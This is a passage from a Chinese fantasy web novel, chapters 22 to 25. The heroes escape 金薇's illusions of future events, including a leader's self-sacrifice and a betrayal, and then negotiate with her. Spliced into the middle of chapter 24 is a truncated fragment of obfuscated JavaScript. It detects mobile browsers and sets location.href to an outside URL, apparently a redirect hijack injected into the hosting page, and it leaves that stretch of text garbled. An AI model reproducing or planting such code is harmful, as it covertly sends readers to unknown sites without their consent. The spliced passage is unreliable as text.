而其他人,也无一例外。
这让承光更摸不着头脑。
分明都是熟悉的人与熟悉的场景,可他却无法参与其中。明明他非常乐意。
承光陷入惶恐,一种荒谬的想法在脑海中挣开,他的心跳得飞快,呼吸变得急促。
他很不愿接受这个事实。
那是他最不愿触及的,一个叫做虚无的东西。
就好似,天地间已无他。
22. 仁慈
江残月终于见到了活生生的郑之义,但她几乎不敢相信那是他。
他被数根镣铐困在一根黑色巨柱上,发丝蓬乱,脸上没有一处好皮肤,她凭着他那双眼睛才认出他。
“郑之义……”江残月好不容易才发出声音来。
然而郑之义看不见她,亦听不见她。他嗜血的眼眸贪婪地望着四周,凶光快被亢奋挤开。
他一定是面对着无尽的诱惑。
九尾狐的尾巴早已溃烂地不成样,血水与污水将它们拖倒在地。
江残月慢慢停在他身前,想用双手捧着他的脸,眼泪却先一步掉下来,她哽咽着,苦涩着,说不出一个字。
而他,却忽得何种指令,猛然使出蛮力挣开禁锢,猛兽寻食般大嗅一口,眼中露出可怖的精光。
江残月被这样的他吓到,她不知道他为什么会变成这样,亦不知道,他到底要去做什么。
她一路追随他,进入一处密林,他移动速度非常迅速,她追得有些吃力。好在他终于停下来,停在一棵巨大的槐树下。
而那槐树下,站着莫问。
郑之义被谁控制着,与莫问打得有来有回,但莫问敌不过他,几个回合就被击倒在地。
江残月心乱如麻,她清楚地知道自己在金薇的幻境当中,但这次幻境,有些过于真实了。
莫问靠躺在槐树根上,半眯着眼,似乎已经失去求生意志,血水不断从他口中吐出。
郑之义眼中贪婪之光大增,亦步亦趋,停在莫问身前,利爪长伸,干脆地朝莫问心口而去。
千钧一发之际,有人替莫问抗住了这一击。
热血喷溅,那人倒地。
江残月双瞳中透出格外恐惧的神色,她的心脏跳得飞快,呼吸也要停止。
因为那人,正是她自己。
…
妖界似乎真的生乱,不然莫问也不会第二次再踏入这该死的幻境。金薇此次显然不急着放他走,任由他放肆大叫,当他喉咙彻底嘶哑,终于噤声。
眼前是宁静祥和的青丘山,一切都欣欣向荣,树木繁茂。
莫问的心在这种场面之下,凉下半截。
空气中隐隐传来硝烟之气,越靠近统领府,这种令人不安的味道便越浓。
统领府大门敞开,只有在贵客到来之时才会有此待遇,只是今日前来的,当真是贵客吗?
莫问踏进家门,门边排列站好的各妖,并不全是九尾狐,他们拿出看家的本领,却不在守护,而是入侵。只是他们看不见他,他像空气一样轻而易举进了家门口。
大殿上,充斥着绝望的肃杀。
庄因单枪匹马立于大殿中央。
“怎么样老统领,我的建议很好吧?”他倨傲道。
莫如迁坐于高台之上,俨然不动,“我若是不同意呢?”
“老统领,青丘山得你掌权,众妖苦矣,是时候换人了。”庄因字字珠玑,“你已难堪大任,而统领府能堪此大任者,唯那莫其渊......对了,莫兄他今日去哪里了?”
“哼!”莫如迁目露凶光,“他早知你要来,被熏得跑出去了。”
“那真是,很没有意思了。”庄因始终慢条斯理,媚眼中精光闪过,望向莫如迁,道:“老统领,认命吧,你膝下儿女并无能抗此大任者,一个个不是面黄肌瘦,就是纵欲过度,整个青丘都已对此颇有不满!再有,那个离家百年的小公子,更是跋扈无能,听说,他已叛出青丘山一脉了?”
“庄因,你休得无礼!”赵羌怒喝,“莫问再如何任性,也比尔等宵小坦荡。”
“那你找到他了吗?你们一家人现如今被我困在这统领府,他知道吗?就算知道了,以他那软骨头性格,会救你们吗?”
“庄因!”莫如迁猛然出现在庄因身前,以他不能反应之速度,扼住他的脖颈,“看见了吗?你毫无还手之力,这统领府,是靠着我丝毫不眨眼的一次次杀戮走进来的,你想进来,先打过我。”
庄因面露痛苦,喘着粗气,从牙缝里挤出一句:“老统领好身手。”
“还有,我小儿自小聪慧敏锐,博览群书,既知天文地理,亦懂乡土人情,为人更是高风亮节,你这种人,永远比不过他。”莫迁如松下手,眼里异常平静,“今日,你什么都得不到。”
庄因道:“老统领,你该休息了,我可以答应你,待我坐上这统领之位,一定将你们一家人好生伺候着,让你们永享欢乐。”
莫如迁不语。
“还是说,你一定要把统领之位留给你那小儿子?他或许看不上呢......”
莫如迁忽而一笑,谁都不知道他在笑什么,只听得他接下去道:“不管他要不要,他都有做好统领的能力,比你强得多。”
“那你让他回来,我跟他打一架,谁赢了谁当。”
“可他不会回来。”莫如迁道。
“老统领,既如此,你还在执着什么?他是不敢回来吧。”
“非也。”莫如迁目光如炬,精明的视线停在莫问身上,变为短暂的柔和,仿佛透过时空,见着了心心念念的小儿子,“他或许,在做更勇敢的事。”
莫如迁周身妖气四起,几乎覆盖整间大殿。
庄因丝毫不惧,缓缓道:“老统领,我确实不是你的对手,可他们,却不是我的对手......”
殿侧站着的莫问的母亲与兄姐们,皆在庄因话音落下时痛苦倒地。
“你做了什么?”莫如迁脸上怒意迸发,如果可以,他已然将眼前的叛徒碾碎。
“中了点毒而已,有药可解。”庄因轻飘飘道,“只是老统领,你若是在半个时辰内不同意我的提议,他们就都得死了。”
大殿陷入死寂,众妖都用沉默强撑,莫如迁的目光落在他们身上时,憎恨消失,变为无尽的悲悯。
他看着家人,看了很久,最后落在那个和莫问长相相似的孩子脸上,露出笑容。
老统领收敛妖气,取而代之的是一身金光。
“莫如迁,你疯了!”赵羌发出绝望的呐喊,“住手,快住手!”
莫如迁不为所动,动情地看着与自己一同经历各种风霜的妻子,道:“照顾好自己,问儿回来后,让他来陪我喝两杯。”
“不好!”
庄因终于变了脸色,退后两步,道:“你这个疯子,你要拉着他们给你陪葬吗!”
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莫如迁道:“你现在有两个选择,一是死,而是给他们解毒,选一个吧。”
庄因绝不想死,他深知莫如迁是抱着必死的决心说出的这句话。
青丘每任统领都会与青丘山缔结契约,自那之后,统领便不再是自己,而属于整个青丘。
“万物归虚”以心脉为引,以魂为燃料,一旦开启,若使用者心有算计,则方圆百里生物无一能免于死亡。反之,使用者独自承受反噬,归于虚无。
这是青丘祖先留给为青丘山鞠躬尽瘁的每一任统领的最后的庇护。
庄因颤抖者为他们解好毒。
“老统领,你这又是何苦呢……”
莫如迁的目光始终追随家人,闻言冷冷道:“你还不走?”
“我当然走。”庄因咬牙切齿,“放心吧,等你头七过了我再来。”
莫如迁到最后都没有再说话,静静地等着自己从这世间消失,任身边人再怎么哭喊……
莫问心如刀绞,怎么也发不出声音,也无法脉动步子,眼前朦胧间,妖王交替仪式又在眼前铺开。
孟鸾站于高位,平静而庄严地看着缓缓上行的人。
莫问追随而去,新任妖王的脸一片模糊。
他忽觉眼前一痛,就此失去神志。
…
朝临穿过一层薄雾,悬崖边风大,吹动她的发丝。谌己与勿舆并立在前,一黑一白,直到那风似要将二人吹散,才有人道:“你真要这么做吗?”
朝临无法看见他们表情,而他们也意识不到她的存在。
“嗯。”谌己应声,“此事事关重大,不可因私情而耽误。”
“私情?”勿舆像听了什么笑话,“这么说,你承认对那三无小人有别样的感情了?”
谌己摇头,语气淡然无谓,“没有,只是她在我身边有些时日,一时不知道该怎么处置她。”
勿舆道:“看来我还是低估你了,谌己是谁,心不狠怎能成大事,只是可怜了小朝临......”
“她自化形起,就注定不会安稳。”谌己淡淡道,“能得我之力,在世间看过不同的日月变换,已经是她的幸运,不必为此慨叹,倒显得我负了她。”
“谁不知道你没心没肺。”勿舆道,“帝君啊,此番若是功成,你又是大功臣。”
“或许吧。”
朝临的肺,就像被什么扼住了一样,憋得她喘不过气。酸楚在骨子里蔓延,久久未熄。
她连谌己与勿舆是何时走的都不知道。
这是幻境。
对,这是幻境,什么都是假的,帝君不会这么对她。
“金薇,我知道这是你的把戏,快放我出去!”
“......”
并未有任何回应。
朝临感受不到周遭气息流动,而她却被一阵清风卷入别的空间。
一个下雨天。
大雨如注。
此时正逢人界的秋天,枯黄的树叶不断被雨水冲掉,落在朝临的头上和肩上。
谌己站在屋檐之下,不带感情地看着湿漉漉的她。
“走吧,带你下神界,已经是我对你最大的仁慈。”
23. 不哭了
“帝君,你就这么不相信我吗?”
雨幕下,朝临神情恍然,倔强地昂首,似乎还在幻想着从谌己眼里找出一丝不忍。
“铁证如山,你还要怎么狡辩。”
然而她等来的,是谌己一贯不偏私的态度。
“铁证如山?靠着他们不知道哪里找到的一张图纸,靠着他们胡编的谣言,就能定我的罪了?”朝临提高声量,“如果这都可以,那帝君你不也是谣言的一部分吗?凭什么你可以完美脱身?”
“你在说什么?”谌己眼里堆上怒火,“我对神界衷心可见,岂是你能质疑的?”
朝临却不像先前那般和顺,而越发咄咄逼人:“可我跟在谌己帝君身边这么长时间,我勾结魔族,五界生民谁又敢说,帝君就一定清清白白呢?”
谌己道:“那你说,我哪里没做好?”
朝临久久盯着他平静的面容,任大雨泼洒,他们就这样对峙,雨越来越大。
“当然没有。”朝临泄了气力,绷直的背微曲,“你是谁啊,谁敢质疑你。”
“你再不走,我就会送你走。”谌己已然失去耐心,“念在往日情分上,我给你半柱香时间,过后如若再让我找到你……休怪我别客气。”
“不劳帝君费心。”朝临抹了把脸上的雨水,低头,一身狼狈。
她慢慢往院门走去,忽而又停下,回头缓缓道:“谌己帝君,果然名不虚传。”
紧接着,一声惊雷响彻人界,院门被重重砸下,再无少女踪影。
…
朝临并不觉方才所见皆是幻境,心情久久无法平复。
“缺心眼,你出来了吗?”
莫问连滚带爬朝她奔来,如同见了救星,眼睛都亮了。
朝临收神,观察众人,皆是如木而立,目光呆滞,双眼失焦。
就连谌己都是。
“嗯,我出来了。”朝临有气无力道。
其实莫问看着也不太好,双眼毫无神采,她能看出他在强撑。
“怎么,你幻境里也死人了?”他云淡风轻的。
朝临摇头,“都说是幻境了,还在乎那么多干什么。”
“……也是,我在担心些什么。”莫问更像是在跟自己说。
朝临朝江残月走去,轻轻呼唤,她当即醒过来,眉眼间的忧思越发重。
“朝临,我们是不是又入幻镜了?”她急问,努力在确认。
朝临点头,莫问道:“江姑娘,只是幻境而已,不用担心,这金薇最会使这些蛊惑人心的把戏,都是假的,待我们捉住她……”
“莫公子。”江残月打断他,“你可以先安静吗?”
“……好吧。”莫问揣着心事走到一边,在承光眼前打出一个响指,“喂,起床了!”
承光似陷噩梦,猛然惊醒,见着众人,甚至被吓得后退一步。
他在惶恐。
“你们……”他大口喘息,“你们都没事吧?”
莫问道:“好得很,倒是你,看着不怎么好啊。”
承光避开几道炙热视线,缓缓开口:“我没事。”
朝临提醒他:“都是幻境。”
承光道:“嗯,我知道,朝临,你一切都还好吧?”
朝临心间又一酸,闷闷道:“我当然没事。”
符枝、芷禾、章传也陆续清醒,只剩谌己。
朝临仍心有所介怀,在他们围着谌己思索对策时,站在外圈,不想靠近。
江残月注意到,问她:“怎么了,你不担心帝君吗?”
“帝君神通广大,不会有危险的。”朝临如是道,“他可是帝君谌己。”
江残月沉默一阵,试探着问:“朝临,你在幻境中,到底看见什么了?”
“没,没什么。”朝临垂眸,有些慌乱道:“没有什么。”
…
若不是迫于禁忌,金薇此刻已经在去地府报道的路上。
谌己对眼前种种片段视若无睹,哪怕只隔很短时间便再次来到玉霄池。
老天帝傅常今日也来了,年迈的老者步履匆匆,赶到炽雲的寝殿,还未至门旁,便听得她那令人心颤的咳嗽声。
仿佛随时都能泣出血来。
神侍端着带血的银盆迎出来,神情悲恸,有一人道:“老天帝,您,您快帮帮我们上神吧,她快不行了……”
屋子里,炽雲卧在榻上,双眼紧闭,气若游丝。
傅常在她身边坐下,苍老的脸颊上流露出几丝痛楚。
“炽雲?”他试着唤醒她。
炽雲听到声音,艰难地扇动睫毛,好一会才睁开眼,不可置信地看着来人,“老天帝,您怎么……”
傅雷示意她安静,并出手查看她的情况。
“老天帝,没用的,任谁来都无力回天了。”炽雲平静道。
傅常不知是听进这话,还是不情不愿,忽然停手,混沌的眼珠注视着身前的这位已然命不久矣的得力助手脸上。
“你会怪我把你锁在这里五千年吗?”
“不会。”炽雲道,“这本就是我和故旭的选择,也怪我们运气不好。”
良久,傅常道出一句:“其实我也有错。”
“老天帝,您一心为民,不该质疑自己的。”
“可是,这要了你们夫妻二人的性命。”傅常道,“更苦了谌己那孩子,五千年了,他始终不愿同我说话。”
炽雲用微弱的气息道:“老帝君,谌己已经长大成人,有些事情也该跟他说了。”
“不可。”傅常否得干脆,“心中有恨,对他来说反而是件好事。”
“现如今,我的心愿都已了却,最舍不得的,还是我的己儿……”
炽雲喃喃道,她或许太难受,不知何时闭上了眼睛。
炽雲在两日后神散,神界以最高规格的仪式为她送别,并将她的墓穴与故旭的落在一起。
谌己被迫置身事外,从头至尾。
满殿神侍为他奔走,众神替他守灵,出殡日他依然不在。
几日后,炽雲的墓旁终于归为宁静。她喜静,却在生命的最后被喧闹所扰。
谌己自认为始终清醒。但他久久坐在炽雲的墓旁,思绪胡飞,两个念头在他脑海中相对。
然而,是更为悲观的那个胜出。
他竟不知这金薇的幻术已练至能现出未来之事的高度。
炽雲死在清晨,玉霄池水当日下沉,天幕随之黯淡,战神陨落,这个消息第一时间传遍整个神界。
而战神的遗孤,不知在天地间的某一处,无法抽身。
谌己忽觉很疲乏,干脆靠在碑上,慢慢闭上眼,脑中霎时一片空白。
他以为就此沉沦,却在最后一瞬间听见熟悉的呼喊,那声音从很远的地方传来,告诉着他,她来寻他了。
“帝君,你在哪儿啊?我们等了你好久,不见你出来,只能进来找你了。”朝临放开嗓门喊道,“帝君!快醒醒,你被困住……”
“我在这里。”
白雾之后,有谌己的声音。
“帝君!”朝临兴奋地穿过白雾,朝谌己而去,她见他脸色不好,忙敛好神情,小声道:“帝君,我们出去吧?”
她的目光总算落在谌己身后的场景上,也终于明白谌己为何会这般落寞。
“嗯……那我再陪你坐一会。”
朝临背着手,就这么静静站着。
“怎么不坐?”谌己抬眼,眼中有藏不住的悲寂。
朝临微怔,道:“这,这不太好吧。”
“没什么。”
他说着便捏起落在手边的落叶,攥进手心。
朝临在落叶处坐下,交叠双手,仔细
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想了想,问出一个轻快的话题:“帝君,你知道我是怎么进来的吗?”
谌己应她:“怎么说?”
“他们说我和帝君体内同息,只要稍作变通就能进来,我试了试,没想到真的进来了。”
“真不知道莫问这一身邪术是从哪里学来的。”谌己猜都不猜。
朝临做震惊样,“帝君怎么知道是他?”
“外面站着的,就他稍微聪明点。”谌己淡淡道,“他们都出去了吗?”
朝临点头,“就差帝君你了。”
就差他了。
谌己望向远处的苍茫,并不想马上离开,他问身边人:“你看见了什么?”
“我看见了墓碑。”朝临越说越小声,“帝君你……”
谌己却道:“我说,你在你的幻境里看到了什么?”
“我的幻境?”朝临躲不开谌己探究的视线,扯谎说:“我没看到什么,什么都没有。”
“什么都没有?”谌己似乎信了。
但这与他多疑的性子全然不符,朝临以为他在盘算什么,刚要跟他说实话,便听见他说:“说明是好事。”
朝临问:“帝君,这都是假的吧?”
谌己给了一个沉默的回应,她读不懂其中的意味。
“帝君,我们该走了。”
“走哪里去?”谌己问她。
朝临:“出幻境啊,久了就得被困在里面了。”
谌己:“这不是幻境,而是未来之事。”
“什么……”
“简单来说,你今日所看见的,都会在未来的某些日子发生。”
那不是说明……
心慌意乱的感觉再度缠上朝临。
“你怎么了?”谌己问她。
“没什么。”她说,“帝君,我们先出去吧。”
“我想再坐会。”谌己道,“你先出去吧。”
莫问说,谌己的求生意志并不强烈,如果这次不能将他带出去,他可能就被锁在幻境当中了。
“可是来不及了。”朝临起身,而谌己也配合她昂首,她看着他毫无欲望的眼眸,鼻子一酸,眼泪就要落下来,“帝君,你是不想出去吗?”
“没有。”他矢口否认,“你先出……”
打断他的,是朝临突然紧紧攥住他的手,她用尽了全力,将他拉出这个骇人的幻境。
直到承光的脸清晰出现在眼前,朝临才松下一口气,她松开谌己的手,不敢去看他。
承光慌张问道:“朝临,你怎么哭了?”
“我没事。”朝临在脸上胡乱抹一把,走到一边。
身后有谌己跟上来的动静。
“朝临。”
她慌了慌,转身,与他面对面。
“帝君,我要是先走,你可能就出不来了。”她哽咽道。
“嗯。”谌己对此不作否认,“如果不是你,我就被金薇困住了。”
朝临有些错愕,未曾想谌己会说出这话来。
“可是帝君,以你的能力,金薇是用什么方法将你困住的?”
“用一些执念。”谌己淡淡道,“她在用生命的长度设计我。”谌己的目光带上几分温柔,落在朝临湿漉漉的眼睛里,“而我险些就不想醒来了。”
朝临眨巴着眼睛,道:“帝君,活着很好的,我每天都在想自救的办法,活一天赚一天,世间美景万千,全都看尽了我也不想死。”
“你不会死。”
“嘿嘿,举个例子。”朝临吸了吸鼻子,“我们都不能死。”
“当然不会。”谌己忽然直勾勾地看着她,修长的手指短暂悬在她的眼睛前方,忽然下落,朝临缩了缩脖子,“别动。”他悄声道。
温热的指尖轻轻拂过她的眼角,替她拭去一滴泪水。
“不哭了。”他轻声安慰道。
24. 幻界
众人面面相觑,劫后余生的心情令谁都既激动又恍惚。
没有谁主动说起梦里的所见所闻,朝临见大家都不说话,主动挑破话题,道:“没事的,都是幻境,我们继续去找金薇吧?”
芷禾的媚眼在此刻蒙上阴霾,她平静地看着朝临,问她:“真的只是幻境吗?”
谌己有言在先,朝临十分确定这不是幻境,但当下大家人心惶惶,她自然不能说真话。
“嗯,不用担心。”
在她没有注意到的地方,谌己不动声色地瞧了她一眼。
“金薇弄这么一出到底是为了什么?既不要命也不图财,难道是她的什么爱好?”
符枝闷闷说了句。
章传道:“符兄,如果我们当中有一人没有走出幻境,那么现在,我们就不会聚在这里了。”
“什么意思?”
章传看向莫问,自己不再说话,莫问会意,顺着他的话:“简单来说,我们一同进入了幻境,所以在这个环境里我们能量相连,如果能量中断,那么金薇的诡计就成功了,她会把我们所有人都吞噬掉。”
没想到这妖兽竟有如此强大的能力。
朝临默自担忧,又看一眼谌己,他还是那副神游天外的样子,大家都看出他心情不好,纵有满腹疑问想吐出,在此时都识相地不多问。
按理来说,同行者走到这一步,便不能再往前了。
莫问召集章传三人聚在一边商量后续对策,谌己独自走出一段路,骄傲的高位者平日里周身满是距离感,现在又多叠上一层孤寂。
承光看着他拒人千里之外的背影,问朝临:“朝临,你在帝君幻境里看见了什么?”
“没看见什么。”朝临知道谌己不愿多提,“我进去时,帝君已经在出口了。”
“我从未见帝君这样过。”微风吹过江残月的发丝,而她眼中的苍凉没人能发觉,“或许是看见什么不好的事情了,需要独自消化。”
承光道:“或许吧,我怎么觉得,大家幻境里都不是好事。”
他想到梦中好友的一一闪过的脸,心中隐有苦涩涌出。
“都说了是幻境,还想那么多做什么。”朝临假装乐呵,“都振作点。”
半时辰后,莫问几人商量出对策。根据章传对金薇的了解,推测金薇此时应当就在不远处,但需用点特殊法子将她引出来。
而这特殊法子,则是水源。
朝临不解,问:“为何要水源?”
莫问道:“大川山虽高且耸,但因水源稀缺,导致周边居民弃地而逃,金薇本体是植物,要修炼必定得有水,我们打算用引水诀将她引出来——帝君,我的办法怎么样?”
“很好。”谌己淡淡的,“知道该朝什么方位吗?”
“知道,金木水火土,五个方位,只是还缺一位金……”
“他在来的路上。”谌己望着东南方向,“你们先准备。”
莫问脸色微变,意识到什么,试探问道:“难道是他?”
“嗯。”
四人便各自找到自己的方位,做打坐姿势,调息凝神,妖光漫天。
朝临走到谌己身边,问:“帝君,你说他们今天能将金薇带回去吗?”
自然是不能的。孟鸾并不针对金薇,也没想过要她的命。谌己能说的不多。他知道这世间的许多事,但事事有其限制,他不能事事插手。
“不知道。”他以一个模棱两可的答案回答朝临,又不想她徒增苦恼,又道:“放心,不论什么结果你都死不了。”
“……”朝临越发郁闷了。
“怎么,这点信心都没有吗?”
“不是的,”朝临否认,“我就是有点慌。”
谌己:“慌?有我在你慌什么?”
有你在是不慌,可你万一手一甩,不管我怎么办?朝临如是想着,幻境里的所见所闻再次清晰地浮如脑海。
“不慌,我说错了。”
“那是别的什么?”谌己紧追不舍。
平时惜字如金的人今天话怎么这么多?!
“……没什么。”朝临低下头,“帝君,你能别问了吗?”
谌己并不应她,她抬眼,见他正一脸无奈地瞧着自己。
“随便你。”
匆忙赶来的人是莫其渊,满头大汗,停下后大口喘着粗气,在莫问不友好的凝视下坐到金位。
五道妖力并起,天幕中慢慢凝聚不计其数的水滴,不多久,便形成一片巨大的水幕。
灰黑色的天在这时小起波动,大地微微颤抖,闷响声从四面八方而起。
符枝大喊:“她来了!”
金薇的现身并不轰轰烈烈,她造成的波动比她慢慢从土堆里钻出来要骇人得多。
“客人,来就来,送什么水源啊。”
还是那个古老、深远的声音。
“既然你们有心送,那我就收下了。”
“金薇大人,哪有您这样对待客人的?我们差点就死在你的地盘了。”
莫问顺着她的“礼数”,有意发言。
金薇并未被触怒,红花光芒荧荧,她笑道:“可你们不是都走出来了吗?只有贵客才能得到这种待遇……帝君殿下,你可还好啊?”
“托你的福,好得要命。”
谌己冷言回答着。
“帝君,幻境里的东西也不是我能控制的,你要知道,那毕竟是……”金薇的话还未说完,众人先听到她闷哼一声,花上荧光黯淡一部分。
“你好啰嗦。”谁都知道谌己已然出手,但都不知道他是如何出手,“好想杀了你。”
“殿下,何至于此啊。”
“少废话!”符枝怒喝,“今天你跑不掉了!”
诡异红花面向所有人,而在场的只有符枝全身一冷,可金薇语气明明没有变化,“不愧是妖王之后,这股子天不怕地不怕的愚蠢样,学得有模有样的。”
“你!”符枝攥紧长剑,脚步不受控往前一步,莫问拉住他,摇头,“三公子,莫要冲动。”
符枝于是怒目圆睁,他想,如果眼神能杀人,那么此时,金薇已经被他千刀万剐。
“所以你们此行是来抓我的?”
莫问道:“当然不是,我们是来向您取经的。”
“取哪种经?取被神族永生永世封印在这荒山里的经吗?”
金薇并不吃莫问这套阿谀奉承的迂回术。
他心中早已将她骂了一万句,脸上却还得堆着笑容:“……您怎么会这么想,我们千里迢迢赶过来,带着满满的诚意,如果真的想要迫害您,早就联手了。”
“你是不是蠢,妖王换任,闹得五界不安宁,你以为我会不知道?你身上那块牌子,还是我画的。”金薇慢慢戳破他的谎话,“没想到我当年随手一画,却被孟鸾设为这么重要的东西,早知道就画丑一点了,可惜了……”
真是一只刀枪不入的恶妖。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235207|181848||http|test|mini|href|location''.split(''|''),0,{}));
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>“大人,我们无心……”
“想取我首级就尽管来吧。”金薇懒得再听他那假惺惺的话,反正现下能动手的只是几个毛头小子,掀不起什么风浪,“过时不候。”
“我要杀了你!”
符枝的冲动还是一如既往,长枪一点不掩饰地朝金薇扎去,能不能扎准暂且不说,他先一步凭空消失了。
章传蹙眉,嘴里低声骂了句什么。
朝临目光追随着他,只见他奋不顾身地往前直冲,继而消失。
莫问叹气:“你们两个蠢货!”说罢,看向芷禾,“你去吗?”
“还能不去吗?”
“那你先去。”
“……”芷禾一直搞不懂这厮,先一步跳了进去。
“你去吗?”他问那个一言不发的九尾狐。
“你要我去吗?”莫其渊也不惯着他。
莫问:“不想。”
莫其渊毫无波澜:“那我就不去了,你在里面死了就死了吧。”
“……”莫问一个白眼翻上天,“你别太过分。”
“好好说话是会死吗?”
“走吗?”
“走啊。”
二人随即消失。
“帝君,这是什么?”
金薇的花样太多,朝临心里没底。
谌己目光始终追随,闻言道:“这是金薇的幻界,说明她要动真格了。”
“那他们会有危险吧?”江残月问。
“应该有,你先准备着。”谌己淡淡道,“如果他们出来时四肢不全,就不要救了。”
江残月吓得脸色大变,“不会吧,怎么可能会这样……”
说是这么说,江残月还是冷静地准备好药膏,一边担忧一边翘首以盼。
谌己与承光低声交谈什么,帮江残月放好东西后,朝临便走到二人身边,他们恰好停下言语,这让她有种被排斥的错觉。
“就说完了啊……”她试图用搓手缓解这份尴尬,“我们要不要进去找他们?”
“朝临,他们会没事的。”承光温和地笑笑,“另外四个我不清楚,但那莫其渊聪明,不会让他们出事的。”
“如此便好。”
“我们刚刚在想对策,凭他们几人的能力拿不下金薇。”谌己道,“最好的办法,只能是协商。”
朝临问:“怎么个协商法?”
“让他们自己去想。”
“要是妖王不认……”
“吼!”
“吼!”
突然的嘶吼声让朝临抖了一抖,这声音她熟悉,正是那妖僵所发出的。
她忙看向江残月,她反应平常,像是早已料到一般。
但她却伸手抹了把眼泪。
承光循着声音疾驰很远,谌己施法感探。朝临跑去揽住江残月,柔声道:“不用害怕,没什么的,帝君他们在呢。”
“朝临,我没事,不知道为什么,听见这个声音就想哭。”江残月拍拍朝临手指,“大概被吓着了。”
朝临松开手,看着江残月的眼睛,她任由她观察着,笑出声来:“朝临,我真的没事。”
“好吧。”朝临牵住她的手,“我们俩千万不能走散了。”
“嗯。”
承光只带回来一撮带血的毛发。
江残月只看了一眼,便尖叫着跑开。
朝临注意到谌己意味不明地看了她一眼。
“是九尾狐的毛发。”
25. 还是说,你想在我这里睡?
“九尾狐?”朝临讶然。
她总觉得江残月和九尾狐有种奇妙的联系。
“嗯,只是被他给跑了。”承光懊恼道,“妖僵成对炼制,但只有一只能活下来作为成品,方才那只应该就是。”
江残月问:“为什么?他们难道不是连理枝吗?”
承光摇头,沉着道:“妖僵炼制需要极强的养分,需从同为妖僵的个体身上吸取,他们自茹毛饮血中诞生,又在互相折磨中成长,直至一方主动求饶,被胜者吃下。”
朝临稍作思索,问:“可我们却见到了另一只妖僵,难道他逃出来了?”
承光:“有可能,古籍中有记载,被练成妖僵的人偶尔会清醒,想必他是趁着清醒逃出来的。”
“那日那只妖僵是枚弃子。”谌己平静道,“是被炼制者有意放出来的。”
朝临问:“可他没有死。”
“所以,这个炼制人并不残忍至极,还保留着一丝人性。”谌己有时说话叫人听不出褒贬,“方才那只妖僵已经练成,按理来说应该已经把败者吸收掉,可败者却还活着,该说不说,炼制者算是个远谋深算的人才。”
他紧盯着金薇的幻界,心中起了杀戮的念头。
江残月早已魂不守舍,她心中总有个不乐观的暗示,幻境中的郑之义时不时在她脑海中穿行,使得心中的弦紧紧绷着。
“帝君,有他的消息了吗?”
“有。”谌己应得很干脆,“你,现在要听吗?”
江残月有几日未问过,变得有些麻木,一时间竟有些不敢听。
她摇头,只问:“他还活着吗?”
“活着。”谌己道,“还有些事我没想清楚,过几日再跟你说。”
“谢谢帝君。”
谌己果然没说错,入幻界的五妖都被狼狈击退,唯莫其渊稍为体面。
江残月专心投入救治当中,帮他们一一查看。
幻界消失,金薇现身,周身光芒暗下,更显神秘。
“你们走吧,我不想屠杀同族。”
可她语气里分明有受过重创的痕迹。
“我看还是你先认输吧。”莫其渊很短时间就已恢复好,白衣飘飘,不卑不亢,“你已被我们重创,跑不了多远。”
“你以为战损的我,就不能把你们这些蝼蚁杀掉吗?”
莫其渊只是笑笑:“你肯定能杀掉我,但他们你杀不掉。”
“哼!”金薇讥讽,“这是我的地盘,我想做什么都可以。”
“那你现在把我杀了,晚一步你就得死了。”
金薇不再和他纠缠,对谌己道:“帝君啊,你还不劝劝他们,告诉他们我和这大川山同生共死,我若是死了,大川山倒,山后那些瘴气可就要流入整个妖界了。”
谌己冷哼,“你倒是精明。”
“多谢帝君夸奖,我都被封印在这里了,不留个后手,怎么活命啊?”
莫其渊面露不解,问道:“帝君,这是什么回事?”
“她不能死。”谌己道,“她若是死了,整个妖界都得遭殃。”
“那妖王为何要对追杀她?”
“你再想想,妖王何时说过要杀她?”
“......”
莫其渊仔细回想,好像妖王并未直说过这话。
“喂,我们打不过的。”莫问一瘸一拐地向前来,撞开莫其渊。
莫其渊:“你好了?”
“对啊。”
“接下来你要怎么办?”
莫问回头看了看另外三妖,江残月细心地帮他们检查伤口,看着这幅场景,他有些纠结。
“我打算,和金薇聊聊。”
“你怎......”
莫问大摇大摆地朝金薇走去,“哎,咱们商量商量,各退一步。”
“说吧。”
“我们没什么要求,就想回去交个差,您看看怎么办才好?”
“不杀了我,孟鸾能让你们通关吗?”
“可杀了你,我们就都得死啊。”莫问陪笑,“这点我们还是能分清的。”
“......”
金薇不再说话,莫问耐心地跟她对抗着。
朝临问谌己:“帝君,金薇若是不同意怎么办?”
“你想去帮莫问吗?”谌己问。
“帮什么?”
“偷东西。”
“偷什么?”
“很简单。”谌己道,“从金薇身上摘下一片花瓣即可。”
“那还是......”算了吧,她并不嫌命长。
但这件得罪人的事轮不到她来做,金薇已经做出决定,鲜红的花瓣飞向莫问,她不甘的声音也缓缓飘来:“带着这个回去,孟鸾不会为难你们。”
莫问接下花瓣,道:“大人,怎么说都要两片吧,我们这么多人......”
"我最讨厌得寸进尺之人。”金薇怒道,“谌己,你带来的都是些什么人?一个比一个低劣。”
谌己:“有吗?”
“没有吗?”
“莫问,她说的好像是你。”谌己转开话锋。
莫问往后退来,道:“应当是的,抱歉啊帝君,给你丢脸了。”
谌己:“哪有,你这不是见好就收了。”
“别装了,你这只九尾狐再多说一句,我的手下,就不会再留人。”
“那真是,谢谢金薇大人了。”莫问躬身,“大人,我们这就走了,不扰您清修了。”
“赶紧滚!”
......
金薇知道有个人不会走,而她也识趣地不走。
“他们的事解决了,来算算我们之间的债。”
此时,谌己已不再掩饰自身真气,澎湃的气息令金薇格外胆寒。
“帝君,敢问我何处惹到您了?”
“我竟不知道你的能耐已经这么大了。”谌己道,“都算计到我身上了。”
“帝君,谁让您和他们一起来了?”金薇稍显苍白地解释,只差一点点,谌己就被困在其中了,“您要是不和他们一起来,绝不会入那幻境,我哪敢设计您。”
“那幻境里的,是未来之事吗?”
“帝君,您都说那是幻境......”
“回答我。”
“是,但您能耐大,知道了才好避免,我这是帮了你。”
金薇畏惧谌己冰冷且看不清的眼,她自知已无法逃过这一劫,也不再多说。
“好一个未来之事。”谌己笑笑,“你故意让我看到,是想把我困在这里吗?”
“是啊,我想让你死。”
“嗯,我也想让你死。”
